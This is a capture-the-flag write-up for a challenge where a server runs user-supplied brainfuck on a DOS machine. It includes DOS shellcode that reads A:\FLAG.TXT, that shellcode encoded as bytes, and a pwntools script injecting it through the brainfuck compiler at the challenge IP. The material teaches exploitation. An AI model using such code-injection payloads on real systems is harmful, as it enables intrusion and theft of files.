Points: 150
Category: PWN
Description
You are still trying to get code execution on your own? Hahaha.
There is an app for that!
We are now introducing Remote Code Execution as a Service (RCEaaS).
Pro tips:
nc 130.211.155.146 20666download
- +[--->++<]>.++++[->++++<]>+.++++++++++.----------.+++++++++++.[---->+<]>+++.-[--->++<]>--.++++++++++++..----.[-->+<]>++.-----------..[--->+<]>+++.[--->+<]>.--------.[->+++++<]>--.+[--->+<]>++++.++++++.[--->+<]>-----.---[->++<]>.++[--->++<]>+.>++++++++++.
- Flag is at A:\FLAG.TXT
- No keyboard input in the Freemium version :/
tl;dr
The server reads the input, compiles it as a brainfuck program (we are provided with the source code of the compiler used), spawns new DOS machine and executes the program on it. The flag is on the same spawned machine our program is running on. The solution is to inject DOS shellcode into executed code.
Solution
I started with inspecting the memory content around the initial BC register searching for the code of provided program. After comparing the outputs of commands:
1 2 |
$ python -c "print '<.' * 1000" | nc 130.211.155.146 20666 > tmp $ python -c "print '<.' * 1000" | python3 bfc.py >out.asm && nasm -f bin -o out.com out.asm |
I’ve confirmed where the code is stored. As the code can contain jumps (‘[]’) it is easy to inject shellcode by moving tho the code over some jump and overwriting the jump address. The remaining part was to construct the shellcode which would read a flag under DOS. After some googling I found:
- http://spike.scu.edu.au/~barry/interrupts.html
- http://devdocs.inightmare.org/tutorials/x86-assembly-dos-file-inputoutput.html
And constructed shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
; FLAG.TXT mov [bp], word 0x4c46 mov [bp+2], word 0x4741 mov [bp+4], word 0x542e mov [bp+6], word 0x5458 mov [bp+8], word 0 ; open file mov ah, 3Dh mov dx, bp int 21h ; read flag mov bx, ax mov ah, 3fh mov cx, 60 ; number of bytes to read mov dx, bp ; were to put read data int 21h ; print flag mov cl, byte 60 l1: cmp cl, 0 je l2 mov dx, [bp] ; flag char inc bp dec cl mov ah,02 int 21h jmp l1 l2: |
The working solution code in python connecting and read sending encoded shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
from pwn import * SC = '\xc7F\x00FL\xc7F\x02AG\xc7F\x04.T\xc7F\x06XT\xc7F\x08\x00\x00\xb4=\x89' \ '\xea\xcd!\x89\xc3\xb4?\xb9<\x00\x89\xea\xcd!\xb1<\x80\xf9\x00t\x0c\x8b' \ 'V\x00E\xfe\xc9\xb4\x02\xcd!\xeb\xef' def to_bf(c): return '+' * ord(c) + '>' BF = ''.join(to_bf(c) for c in SC) cmd = '<' * 9 + '[-]' + '+' * 8 + '>' * 9 + BF + '[]' with remote('130.211.155.146', 20666) as conn: conn.sendline(cmd) conn.recvuntil('Installed at PS/2 port', timeout=200) conn.recvuntil('loaded consuming 13520 bytes.', timeout=10) data = repr(conn.recvuntil(('A:\\>', 'Illegal Instruction occurred'), timeout=10)).strip('"\'') tail = repr(conn.recvall(timeout=3)) data = re.sub('(\[(\??\d+(;\d+)?)?[A-Za-z])|(\\\\x1b)|(\\(B)|(\\\\r)', '', data) tail = re.sub('(\[(\??\d+(;\d+)?)?[A-Za-z])|(\\\\x1b)|(\\(B)|(\\\\r)', '', tail) print data print tail |
Leave a Reply
You must be logged in to post a comment.